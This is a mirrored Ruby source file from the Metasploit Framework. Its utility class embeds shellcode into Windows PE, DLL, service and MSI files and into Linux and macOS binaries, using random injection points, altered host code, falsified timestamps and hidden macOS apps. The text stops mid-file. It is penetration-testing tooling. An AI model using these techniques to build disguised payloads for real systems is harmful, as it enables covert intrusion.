Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe.rb
21549 views
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
#
6
# The class provides methods for creating and encoding executable file
7
# formats for various platforms. It is a replacement for the previous
8
# code in Rex::Text
9
#
10
11
class EXE
12
13
require 'rex'
14
require 'rex/peparsey'
15
require 'rex/pescan'
16
require 'rex/random_identifier'
17
require 'rex/zip'
18
require 'rex/powershell'
19
require 'metasm'
20
require 'digest/sha1'
21
# Generates a default template
22
#
23
# @param opts [Hash] The options hash
24
# @option opts [String] :template, the template type for the executable
25
# @option opts [String] :template_path, the path for the template
26
# @option opts [Bool] :fallback, If there are no options set, default options will be used
27
# @param exe [String] Template type. If undefined, will use the default.
28
# @param path [String] Where you would like the template to be saved.
29
def self.set_template_default(opts, exe = nil, path = nil)
30
# If no path specified, use the default one
31
path ||= File.join(Msf::Config.data_directory, "templates")
32
33
# If there's no default name, we must blow it up.
34
unless exe
35
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
36
'without default exe name!'
37
end
38
39
# Use defaults only if nothing is specified
40
opts[:template_path] ||= path
41
opts[:template] ||= exe
42
43
# Only use the path when the filename contains no separators.
44
unless opts[:template].include?(File::SEPARATOR)
45
opts[:template] = File.join(opts[:template_path], opts[:template])
46
end
47
48
# Check if it exists now
49
return if File.file?(opts[:template])
50
# If it failed, try the default...
51
if opts[:fallback]
52
default_template = File.join(path, exe)
53
if File.file?(default_template)
54
# Perhaps we should warn about falling back to the default?
55
opts.merge!({ :fellback => default_template })
56
opts[:template] = default_template
57
end
58
end
59
end
60
61
# self.read_replace_script_template
62
#
63
# @param filename [String] Name of the file
64
# @param hash_sub [Hash]
65
def self.read_replace_script_template(filename, hash_sub)
66
template_pathname = File.join(Msf::Config.data_directory, "templates",
67
"scripts", filename)
68
template = ''
69
File.open(template_pathname, "rb") {|f| template = f.read}
70
template % hash_sub
71
end
72
73
74
# Generates a ZIP file.
75
#
76
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
77
# * :data - The content of the file.
78
# * :fname - The file path in the ZIP file
79
# * :comment - A comment
80
# @example Compressing two files, one in a folder called 'test'
81
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
82
# @return [String]
83
def self.to_zip(files)
84
zip = Rex::Zip::Archive.new
85
86
files.each do |f|
87
data = f[:data]
88
fname = f[:fname]
89
comment = f[:comment] || ''
90
zip.add_file(fname, data, comment)
91
end
92
93
zip.pack
94
end
95
96
# Executable generators
97
#
98
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
99
# @param plat [String] The platform (i.e Linux, Windows, OSX)
100
# @param code [String]
101
# @param opts [Hash] The options hash
102
# @param framework [Msf::Framework] The framework of you want to use
103
# @return [String]
104
# @return [NilClass]
105
def self.to_executable(framework, arch, plat, code = '', opts = {})
106
if elf? code or macho? code
107
return code
108
end
109
110
if arch.index(ARCH_X86)
111
112
if plat.index(Msf::Module::Platform::Windows)
113
return to_win32pe(framework, code, opts)
114
end
115
116
if plat.index(Msf::Module::Platform::Linux)
117
return to_linux_x86_elf(framework, code)
118
end
119
120
if plat.index(Msf::Module::Platform::OSX)
121
return to_osx_x86_macho(framework, code)
122
end
123
124
if plat.index(Msf::Module::Platform::BSD)
125
return to_bsd_x86_elf(framework, code)
126
end
127
128
if plat.index(Msf::Module::Platform::Solaris)
129
return to_solaris_x86_elf(framework, code)
130
end
131
132
# XXX: Add remaining x86 systems here
133
end
134
135
if arch.index(ARCH_X64)
136
if (plat.index(Msf::Module::Platform::Windows))
137
return to_win64pe(framework, code, opts)
138
end
139
140
if plat.index(Msf::Module::Platform::Linux)
141
return to_linux_x64_elf(framework, code, opts)
142
end
143
144
if plat.index(Msf::Module::Platform::OSX)
145
return to_osx_x64_macho(framework, code)
146
end
147
148
if plat.index(Msf::Module::Platform::BSD)
149
return to_bsd_x64_elf(framework, code)
150
end
151
end
152
153
if arch.index(ARCH_ARMLE)
154
if plat.index(Msf::Module::Platform::OSX)
155
return to_osx_arm_macho(framework, code)
156
end
157
158
if plat.index(Msf::Module::Platform::Linux)
159
return to_linux_armle_elf(framework, code)
160
end
161
162
# XXX: Add remaining ARMLE systems here
163
end
164
165
if arch.index(ARCH_AARCH64)
166
if plat.index(Msf::Module::Platform::Linux)
167
return to_linux_aarch64_elf(framework, code)
168
end
169
170
if plat.index(Msf::Module::Platform::OSX)
171
return to_osx_aarch64_macho(framework, code)
172
end
173
174
# XXX: Add remaining AARCH64 systems here
175
end
176
177
if arch.index(ARCH_PPC)
178
if plat.index(Msf::Module::Platform::OSX)
179
return to_osx_ppc_macho(framework, code)
180
end
181
# XXX: Add PPC OS X and Linux here
182
end
183
184
if arch.index(ARCH_MIPSLE)
185
if plat.index(Msf::Module::Platform::Linux)
186
return to_linux_mipsle_elf(framework, code)
187
end
188
# XXX: Add remaining MIPSLE systems here
189
end
190
191
if arch.index(ARCH_MIPSBE)
192
if plat.index(Msf::Module::Platform::Linux)
193
return to_linux_mipsbe_elf(framework, code)
194
end
195
# XXX: Add remaining MIPSLE systems here
196
end
197
198
if arch.index(ARCH_RISCV32LE)
199
if plat.index(Msf::Module::Platform::Linux)
200
return to_linux_riscv32le_elf(framework, code)
201
end
202
# TODO: Add remaining RISCV32LE systems here
203
end
204
205
if arch.index(ARCH_RISCV64LE)
206
if plat.index(Msf::Module::Platform::Linux)
207
return to_linux_riscv64le_elf(framework, code)
208
end
209
# TODO: Add remaining RISCV64LE systems here
210
end
211
212
nil
213
end
214
215
# Clears the DYNAMIC_BASE flag for a Windows executable
216
#
217
# @param exe [String] The raw executable to be modified by the method
218
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
219
# @return [String] the modified executable
220
def self.clear_dynamic_base(exe, pe)
221
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
222
c_bits[6] = 0 # DYNAMIC_BASE
223
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
224
225
# PE Header Pointer offset = 60d
226
# SizeOfOptionalHeader offset = 94h
227
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
228
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
229
exe
230
end
231
232
# self.to_win32pe
233
#
234
# @param framework [Msf::Framework]
235
# @param code [String]
236
# @param opts [Hash]
237
# @option opts [String] :sub_method
238
# @option opts [String] :inject, Code to inject into the exe
239
# @option opts [String] :template
240
# @option opts [Symbol] :arch, Set to :x86 by default
241
# @return [String]
242
def self.to_win32pe(framework, code, opts = {})
243
244
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
245
if opts[:sub_method]
246
if opts[:inject]
247
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
248
end
249
250
# use
251
self.to_win32pe_exe_sub(framework, code, opts)
252
end
253
254
# Allow the user to specify their own EXE template
255
set_template_default(opts, "template_x86_windows.exe")
256
257
# Copy the code to a new RWX segment to allow for self-modifying encoders
258
payload = win32_rwx_exec(code)
259
260
# Create a new PE object and run through sanity checks
261
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
262
263
#try to inject code into executable by adding a section without affecting executable behavior
264
if opts[:inject]
265
injector = Msf::Exe::SegmentInjector.new({
266
:payload => code,
267
:template => opts[:template],
268
:arch => :x86,
269
:secname => opts[:secname]
270
})
271
return injector.generate_pe
272
end
273
274
text = nil
275
pe.sections.each {|sec| text = sec if sec.name == ".text"}
276
277
raise RuntimeError, "No .text section found in the template" unless text
278
279
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
280
raise RuntimeError, "The .text section does not contain an entry point"
281
end
282
283
p_length = payload.length + 256
284
285
# If the .text section is too small, append a new section instead
286
if text.size < p_length
287
appender = Msf::Exe::SegmentAppender.new({
288
:payload => code,
289
:template => opts[:template],
290
:arch => :x86,
291
:secname => opts[:secname]
292
})
293
return appender.generate_pe
294
end
295
296
# Store some useful offsets
297
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
298
off_beg = pe.rva_to_file_offset(text.base_rva)
299
300
# We need to make sure our injected code doesn't conflict with the
301
# the data directories stored in .text (import, export, etc)
302
mines = []
303
pe.hdr.opt['DataDirectory'].each do |dir|
304
next if dir.v['Size'] == 0
305
next unless text.contains_rva?(dir.v['VirtualAddress'])
306
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
307
mines << [delta, dir.v['Size']]
308
end
309
310
# Break the text segment into contiguous blocks
311
blocks = []
312
bidx = 0
313
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
314
bbeg = bidx
315
bend = mine[0]
316
blocks << [bidx, bend-bidx] if bbeg != bend
317
bidx = mine[0] + mine[1]
318
end
319
320
# Add the ending block
321
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
322
323
# Find the largest contiguous block
324
blocks.sort!{|a,b| b[1]<=>a[1]}
325
block = blocks.first
326
327
# TODO: Allow the entry point in a different block
328
if payload.length + 256 >= block[1]
329
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
330
end
331
332
# Make a copy of the entire .text section
333
data = text.read(0,text.size)
334
335
# Pick a random offset to store the payload
336
poff = rand(block[1] - payload.length - 256)
337
338
# Flip a coin to determine if EP is before or after
339
eloc = rand(2)
340
eidx = nil
341
342
# Pad the entry point with random nops
343
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
344
345
# Pick an offset to store the new entry point
346
if eloc == 0 # place the entry point before the payload
347
poff += 256
348
eidx = rand(poff-(entry.length + 5))
349
else # place the entry pointer after the payload
350
poff -= [256, poff].min
351
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
352
end
353
354
# Relative jump from the end of the nops to the payload
355
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
356
357
# Mangle 25% of the original executable
358
1.upto(block[1] / 4) do
359
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
360
end
361
362
# Patch the payload and the new entry point into the .text
363
data[block[0] + poff, payload.length] = payload
364
data[block[0] + eidx, entry.length] = entry
365
366
# Create the modified version of the input executable
367
exe = ''
368
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
369
370
a = [text.base_rva + block.first + eidx].pack("V")
371
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
372
exe[off_beg, data.length] = data
373
374
tds = pe.hdr.file.TimeDateStamp
375
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
376
377
cks = pe.hdr.opt.CheckSum
378
unless cks == 0
379
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
380
end
381
382
exe = clear_dynamic_base(exe, pe)
383
pe.close
384
385
exe
386
end
387
388
# self.to_winpe_only
389
#
390
# @param framework [Msf::Framework] The framework of you want to use
391
# @param code [String]
392
# @param opts [Hash]
393
# @param arch [String] Default is "x86"
394
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
395
396
# Allow the user to specify their own EXE template
397
set_template_default(opts, "template_#{arch}_windows.exe")
398
399
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
400
401
exe = ''
402
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
403
404
pe_header_size = 0x18
405
entryPoint_offset = 0x28
406
section_size = 0x28
407
characteristics_offset = 0x24
408
virtualAddress_offset = 0x0c
409
sizeOfRawData_offset = 0x10
410
411
sections_table_offset =
412
pe._dos_header.v['e_lfanew'] +
413
pe._file_header.v['SizeOfOptionalHeader'] +
414
pe_header_size
415
416
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
417
418
sections_header = []
419
pe._file_header.v['NumberOfSections'].times do |i|
420
section_offset = sections_table_offset + (i * section_size)
421
sections_header << [
422
sections_table_characteristics_offset + (i * section_size),
423
exe[section_offset,section_size]
424
]
425
end
426
427
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
428
429
# look for section with entry point
430
sections_header.each do |sec|
431
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
432
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
433
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
434
435
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
436
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
437
if (importsTable - addressOfEntryPoint) < code.length
438
#shift original entry point to prevent tables overwriting
439
addressOfEntryPoint = importsTable - code.length + 4
440
441
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
442
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
443
end
444
# put this section writable
445
characteristics |= 0x8000_0000
446
newcharacteristics = [characteristics].pack('V')
447
exe[sec[0],newcharacteristics.length] = newcharacteristics
448
end
449
end
450
451
# put the shellcode at the entry point, overwriting template
452
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
453
exe[entryPoint_file_offset,code.length] = code
454
exe = clear_dynamic_base(exe, pe)
455
exe
456
end
457
458
# self.to_win32pe_old
459
#
460
# @param framework [Msf::Framework] The framework of you want to use
461
# @param code [String]
462
# @param opts [Hash]
463
def self.to_win32pe_old(framework, code, opts = {})
464
465
payload = code.dup
466
# Allow the user to specify their own EXE template
467
set_template_default(opts, "template_x86_windows_old.exe")
468
469
pe = ''
470
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
471
472
if payload.length <= 2048
473
payload << Rex::Text.rand_text(2048-payload.length)
474
else
475
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
476
"bytes, please fix the calling module"
477
end
478
479
bo = pe.index('PAYLOAD:')
480
unless bo
481
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
482
end
483
pe[bo, payload.length] = payload
484
485
pe[136, 4] = [rand(0x100000000)].pack('V')
486
487
ci = pe.index("\x31\xc9" * 160)
488
unless ci
489
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
490
end
491
cd = pe.index("\x31\xc9" * 160, ci + 320)
492
unless cd
493
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
494
end
495
rc = pe[ci+320, cd-ci-320]
496
497
# 640 + rc.length bytes of room to store an encoded rc at offset ci
498
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
499
lft = 640+rc.length - enc.length
500
501
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
502
pe[ci, buf.length] = buf
503
504
# Make the data section executable
505
xi = pe.index([0xc0300040].pack('V'))
506
pe[xi,4] = [0xe0300020].pack('V')
507
508
# Add a couple random bytes for fun
509
pe << Rex::Text.rand_text(rand(64)+4)
510
pe
511
end
512
513
514
# Splits a string into a number of assembly push operations
515
#
516
# @param string [String] String to be used
517
# @return [String] null terminated string as assembly push ops
518
def self.string_to_pushes(string)
519
str = string.dup
520
# Align string to 4 bytes
521
rem = (str.length) % 4
522
if rem > 0
523
str << "\x00" * (4 - rem)
524
pushes = ''
525
else
526
pushes = "h\x00\x00\x00\x00"
527
end
528
# string is now 4 bytes aligned with null byte
529
530
# push string to stack, starting at the back
531
while str.length > 0
532
four = 'h'+str.slice!(-4,4)
533
pushes << four
534
end
535
536
pushes
537
end
538
539
# Converts a raw AArch64 payload into a PE executable.
540
#
541
# @param framework [Msf::Framework] The framework instance.
542
# @param code [String] The raw AArch64 shellcode.
543
# @param opts [Hash] The options hash.
544
# @option opts [String] :template The path to a custom PE template.
545
# @return [String] The generated PE executable as a binary string.
546
def self.to_winaarch64pe(framework, code, opts = {})
547
# Use the standard template if not specified by the user.
548
# This helper finds the full path and stores it in opts[:template].
549
set_template_default(opts, 'template_aarch64_windows.exe')
550
551
# Read the template directly from the path now stored in the options.
552
pe = File.read(opts[:template], mode: 'rb')
553
554
# Find the tag and inject the payload
555
bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')
556
pe[bo, code.length] = code.dup
557
pe
558
end
559
560
# self.exe_sub_method
561
#
562
# @param code [String]
563
# @param opts [Hash]
564
# @option opts [Symbol] :exe_type
565
# @option opts [String] :service_exe
566
# @option opts [Boolean] :sub_method
567
# @return [String]
568
def self.exe_sub_method(code,opts ={})
569
pe = self.get_file_contents(opts[:template])
570
571
case opts[:exe_type]
572
when :service_exe
573
opts[:exe_max_sub_length] ||= 8192
574
name = opts[:servicename]
575
if name
576
bo = pe.index('SERVICENAME')
577
unless bo
578
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
579
end
580
pe[bo, 11] = [name].pack('a11')
581
end
582
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
583
when :dll
584
opts[:exe_max_sub_length] ||= 4096
585
when :exe_sub
586
opts[:exe_max_sub_length] ||= 4096
587
end
588
589
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
590
591
if code.length <= opts.fetch(:exe_max_sub_length)
592
pe[bo, code.length] = [code].pack("a*")
593
else
594
raise RuntimeError, "The EXE generator now has a max size of " +
595
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
596
end
597
598
if opts[:exe_type] == :dll
599
mt = pe.index('MUTEX!!!')
600
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
601
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
602
offset = pe.index(name)
603
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
604
end
605
606
if opts[:dll_exitprocess]
607
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
608
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
609
et_index = pe.index(exit_thread)
610
if et_index
611
pe[et_index,exit_process.length] = exit_process
612
else
613
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
614
end
615
end
616
end
617
618
pe
619
end
620
621
# self.to_win32pe_exe_sub
622
#
623
# @param framework [Msf::Framework] The framework of you want to use
624
# @param code [String]
625
# @param opts [Hash]
626
# @return [String]
627
def self.to_win32pe_exe_sub(framework, code, opts = {})
628
# Allow the user to specify their own DLL template
629
set_template_default(opts, "template_x86_windows.exe")
630
opts[:exe_type] = :exe_sub
631
exe_sub_method(code,opts)
632
end
633
634
# self.to_win64pe
635
#
636
# @param framework [Msf::Framework] The framework of you want to use
637
# @param code [String]
638
# @param opts [Hash]
639
# @return [String]
640
def self.to_win64pe(framework, code, opts = {})
641
# Allow the user to specify their own EXE template
642
set_template_default(opts, "template_x64_windows.exe")
643
644
# Try to inject code into executable by adding a section without affecting executable behavior
645
if opts[:inject]
646
injector = Msf::Exe::SegmentInjector.new({
647
:payload => code,
648
:template => opts[:template],
649
:arch => :x64,
650
:secname => opts[:secname]
651
})
652
return injector.generate_pe
653
end
654
655
# Append a new section instead
656
appender = Msf::Exe::SegmentAppender.new({
657
:payload => code,
658
:template => opts[:template],
659
:arch => :x64,
660
:secname => opts[:secname]
661
})
662
return appender.generate_pe
663
end
664
665
# Embeds shellcode within a Windows PE file implementing the Windows
666
# service control methods.
667
#
668
# @param framework [Object]
669
# @param code [String] shellcode to be embedded
670
# @option opts [Boolean] :sub_method use substitution technique with a
671
# service template PE
672
# @option opts [String] :servicename name of the service, not used in
673
# substitution technique
674
#
675
# @return [String] Windows Service PE file
676
def self.to_win32pe_service(framework, code, opts = {})
677
set_template_default(opts, "template_x86_windows_svc.exe")
678
if opts[:sub_method]
679
# Allow the user to specify their own service EXE template
680
opts[:exe_type] = :service_exe
681
return exe_sub_method(code,opts)
682
else
683
ENV['MSF_SERVICENAME'] = opts[:servicename]
684
685
opts[:framework] = framework
686
opts[:payload] = 'stdin'
687
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
688
689
# XXX This should not be required, it appears there is a dependency inversion
690
# See https://github.com/rapid7/metasploit-framework/pull/9851
691
venom_generator = Msf::PayloadGenerator.new(opts)
692
code_service = venom_generator.multiple_encode_payload(code)
693
return to_winpe_only(framework, code_service, opts)
694
end
695
end
696
697
# self.to_win64pe_service
698
#
699
# @param framework [Msf::Framework] The framework of you want to use
700
# @param code [String]
701
# @param opts [Hash]
702
# @option [String] :exe_type
703
# @option [String] :service_exe
704
# @option [String] :dll
705
# @option [String] :inject
706
# @return [String]
707
def self.to_win64pe_service(framework, code, opts = {})
708
# Allow the user to specify their own service EXE template
709
set_template_default(opts, "template_x64_windows_svc.exe")
710
opts[:exe_type] = :service_exe
711
exe_sub_method(code,opts)
712
end
713
714
# self.set_template_default_winpe_dll
715
#
716
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
717
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
718
#
719
# @param opts [Hash]
720
# @param arch The architecture, as one the predefined constants.
721
# @param size [Integer] The size of the payload.
722
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
723
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
724
return if opts[:template].present?
725
726
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
727
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
728
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
729
if match
730
opts[:exe_max_sub_length] = match.first
731
size_suffix = match.last
732
end
733
734
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
735
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
736
737
if flavor.present?
738
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
739
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
740
end
741
742
flavor = '_' + flavor
743
end
744
745
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
746
end
747
748
# self.to_win32pe_dll
749
#
750
# @param framework [Msf::Framework] The framework of you want to use
751
# @param code [String]
752
# @param opts [Hash]
753
# @option [String] :exe_type
754
# @option [String] :dll
755
# @option [String] :inject
756
# @return [String]
757
def self.to_win32pe_dll(framework, code, opts = {})
758
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
759
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
760
opts[:exe_type] = :dll
761
762
if opts[:inject]
763
self.to_win32pe(framework, code, opts)
764
else
765
exe_sub_method(code,opts)
766
end
767
end
768
769
# self.to_win64pe_dll
770
#
771
# @param framework [Msf::Framework] The framework of you want to use
772
# @param code [String]
773
# @param opts [Hash]
774
# @option [String] :exe_type
775
# @option [String] :dll
776
# @option [String] :inject
777
# @return [String]
778
def self.to_win64pe_dll(framework, code, opts = {})
779
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
780
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
781
782
opts[:exe_type] = :dll
783
784
if opts[:inject]
785
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
786
else
787
exe_sub_method(code,opts)
788
end
789
end
790
791
792
# self.to_win32pe_dccw_gdiplus_dll
793
#
794
# @param framework [Msf::Framework] The framework of you want to use
795
# @param code [String]
796
# @param opts [Hash]
797
# @option [String] :exe_type
798
# @option [String] :dll
799
# @option [String] :inject
800
# @return [String]
801
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
802
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
803
to_win32pe_dll(framework, code, opts)
804
end
805
806
# self.to_win64pe_dccw_gdiplus_dll
807
#
808
# @param framework [Msf::Framework] The framework of you want to use
809
# @param code [String]
810
# @param opts [Hash]
811
# @option [String] :exe_type
812
# @option [String] :dll
813
# @option [String] :inject
814
# @return [String]
815
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
816
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
817
to_win64pe_dll(framework, code, opts)
818
end
819
820
# Wraps an executable inside a Windows .msi file for auto execution when run
821
#
822
# @param framework [Msf::Framework] The framework of you want to use
823
# @param exe [String]
824
# @param opts [Hash]
825
# @option opts [String] :msi_template_path
826
# @option opts [String] :msi_template
827
# @return [String]
828
def self.to_exe_msi(framework, exe, opts = {})
829
if opts[:uac]
830
opts[:msi_template] ||= "template_windows.msi"
831
else
832
opts[:msi_template] ||= "template_nouac_windows.msi"
833
end
834
replace_msi_buffer(exe, opts)
835
end
836
837
#self.replace_msi_buffer
838
#
839
# @param pe [String]
840
# @param opts [String]
841
# @option [String] :msi_template
842
# @option [String] :msi_template_path
843
# @return [String]
844
def self.replace_msi_buffer(pe, opts)
845
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
846
847
if opts[:msi_template].include?(File::SEPARATOR)
848
template = opts[:msi_template]
849
else
850
template = File.join(opts[:msi_template_path], opts[:msi_template])
851
end
852
853
msi = self.get_file_contents(template)
854
855
section_size = 2**(msi[30..31].unpack('v')[0])
856
857
# This table is one of the few cases where signed values are needed
858
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
859
860
buffer_chain = []
861
862
# This is closely coupled with the template provided and ideally
863
# would be calculated from the dir stream?
864
current_secid = 5
865
866
until current_secid == -2
867
buffer_chain << current_secid
868
current_secid = sector_allocation_table[current_secid]
869
end
870
871
buffer_size = buffer_chain.length * section_size
872
873
if pe.size > buffer_size
874
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
875
end
876
877
pe_block_start = 0
878
pe_block_end = pe_block_start + section_size - 1
879
880
buffer_chain.each do |section|
881
block_start = section_size * (section + 1)
882
block_end = block_start + section_size - 1
883
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
884
msi[block_start..block_end] = pe_block
885
pe_block_start = pe_block_end + 1
886
pe_block_end += section_size
887
end
888
889
msi
890
end
891
892
# self.to_osx_arm_macho
893
#
894
# @param framework [Msf::Framework] The framework of you want to use
895
# @param code [String]
896
# @param opts [Hash]
897
# @option [String] :template
898
# @return [String]
899
def self.to_osx_arm_macho(framework, code, opts = {})
900
901
# Allow the user to specify their own template
902
set_template_default(opts, "template_armle_darwin.bin")
903
904
mo = self.get_file_contents(opts[:template])
905
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
906
mo[bo, code.length] = code
907
mo
908
end
909
910
# self.to_osx_aarch64_macho
911
#
912
# @param framework [Msf::Framework] The framework of you want to use
913
# @param code [String]
914
# @param opts [Hash]
915
# @option [String] :template
916
# @return [String]
917
def self.to_osx_aarch64_macho(framework, code, opts = {})
918
919
# Allow the user to specify their own template
920
set_template_default(opts, "template_aarch64_darwin.bin")
921
922
mo = self.get_file_contents(opts[:template])
923
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
924
mo[bo, code.length] = code
925
Payload::MachO.new(mo).sign
926
mo
927
end
928
929
# self.to_osx_ppc_macho
930
#
931
# @param framework [Msf::Framework] The framework of you want to use
932
# @param code [String]
933
# @param opts [Hash]
934
# @option [String] :template
935
# @return [String]
936
def self.to_osx_ppc_macho(framework, code, opts = {})
937
938
# Allow the user to specify their own template
939
set_template_default(opts, "template_ppc_darwin.bin")
940
941
mo = self.get_file_contents(opts[:template])
942
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
943
mo[bo, code.length] = code
944
mo
945
end
946
947
# self.to_osx_x86_macho
948
#
949
# @param framework [Msf::Framework] The framework of you want to use
950
# @param code [String]
951
# @param opts [Hash]
952
# @option [String] :template
953
# @return [String]
954
def self.to_osx_x86_macho(framework, code, opts = {})
955
956
# Allow the user to specify their own template
957
set_template_default(opts, "template_x86_darwin.bin")
958
959
mo = self.get_file_contents(opts[:template])
960
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
961
mo[bo, code.length] = code
962
mo
963
end
964
965
# self.to_osx_x64_macho
966
#
967
# @param framework [Msf::Framework] The framework of you want to use
968
# @param code [String]
969
# @param opts [Hash]
970
# @option [String] :template
971
# @return [String]
972
def self.to_osx_x64_macho(framework, code, opts = {})
973
set_template_default(opts, "template_x64_darwin.bin")
974
975
macho = self.get_file_contents(opts[:template])
976
bin = self.find_payload_tag(macho,
977
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
978
macho[bin, code.length] = code
979
macho
980
end
981
982
# self.to_osx_app
983
# @param opts [Hash] The options hash
984
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
985
# @option opts [Hash] :app_name (random) the name of the OSX app
986
# @option opts [Hash] :hidden (true) hide the app when it is running
987
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
988
# @return [String] zip archive containing an OSX .app directory
989
def self.to_osx_app(exe, opts = {})
990
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
991
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
992
hidden = opts.fetch(:hidden, true)
993
plist_extra = opts.fetch(:plist_extra, '')
994
995
app_name.chomp!(".app")
996
app_name += ".app"
997
998
visible_plist = if hidden
999
%Q|
1000
<key>LSBackgroundOnly</key>
1001
<string>1</string>
1002
|
1003
else
1004
''
1005
end
1006
1007
info_plist = %Q|
1008
